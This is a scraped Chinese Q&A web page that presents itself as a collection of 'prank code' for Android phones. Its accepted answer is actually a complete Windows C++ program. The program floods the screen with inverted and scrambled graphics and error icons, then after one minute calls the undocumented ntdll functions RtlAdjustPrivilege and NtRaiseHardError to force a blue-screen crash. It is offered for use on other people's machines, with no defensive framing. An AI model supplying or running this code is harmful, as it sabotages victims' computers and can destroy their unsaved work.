首页文章安卓手机整人代码c语言大全,求一个C语言整人代码!!!手机代码「安卓手机整人代码c语言大全,求一个C语言整人代码!!!」

安卓手机整人代码c语言大全,求一个C语言整人代码!!!手机代码「安卓手机整人代码c语言大全,求一个C语言整人代码!!!」

时间2025-01-17 07:26:08发布yu分类文章浏览138
导读:满意答案 agrument 推荐于 2018.05.15...

满意答案

02ae427d08e371d7e90d5b995e828d6d.png

agrument

推荐于 2018.05.15

02ae427d08e371d7e90d5b995e828d6d.png

采纳率:41%    等级:9

已帮助:1813人

先上代码#include 

#include 

using namespace std;

int call;

int ScreenWidth = GetSystemMetrics(_CXSCREEN);

int ScreenHeight = GetSystemMetrics(_CYSCREEN);

int IconWidth = GetSystemMetrics(_CXICON);

int IconHeight = GetSystemMetrics(_CYICON);

HDC hdc=GetWindowDC(GetDesktopWindow());

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

if(upper_bound==0) {

return 0;

}

srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));

call++;

return rand() % upper_bound;

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

while(true) {

BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);

Sleep(random(100));

}

return 0;

}

int GetWay() {

int r=random(3);

switch(r) {

case 0:

return SRCAND;

case 1:

return SRCINVERT;

case 2:

return SRCPAINT;

}

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth);

int RandyPixel = random(ScreenHeight - RandHeight);

int RandDestxPixel = random(ScreenWidth - RandWidth);

int RandDestyPixel = random(ScreenHeight - RandHeight);

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;

int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

Sleep(60000);

HMODULE ntdll = LoadLibrary("ntdll.dll");

FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");

FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");

unsigned char temp0;

long unsigned int temp1;

((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);

((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);

return 0;

}

DWORD WINAPI DrawErrors(LPVOID Param) {

while(true) {

int RandxPixel = random(ScreenWidth - IconWidth / 2);

int RandyPixel = random(ScreenHeight - IconHeight / 2);

DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));

Sleep(random(50));

}

return 0;

}

int main(void) {

CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);

CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);

CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);

CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);

CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);

while(true);

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

cefe4a0c358a2aa4f8b4a30a4f5e1988.png

222d3e0345943e09f8b6a7b3f95ee306.png

阿勒泰版权声明:本网信息来自于互联网,目的在于传递更多信息,并不代表本网赞同其观点。其原创性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺,并请自行核实相关内容。本站不承担此类作品侵权行为的直接责任及连带责任。如若本网有任何内容侵犯您的权益,请及时联系我们,本站将会在24小时内处理完毕,E-mail:xinmeigg88@163.com

展开全文READ MORE
代码
【原】再见了!小米手机上市5个月后就退市小米手机上市「【原】再见了!小米手机上市5个月后就退市」 手机开机太慢怎么解决手机开机慢怎么办「手机开机太慢怎么解决」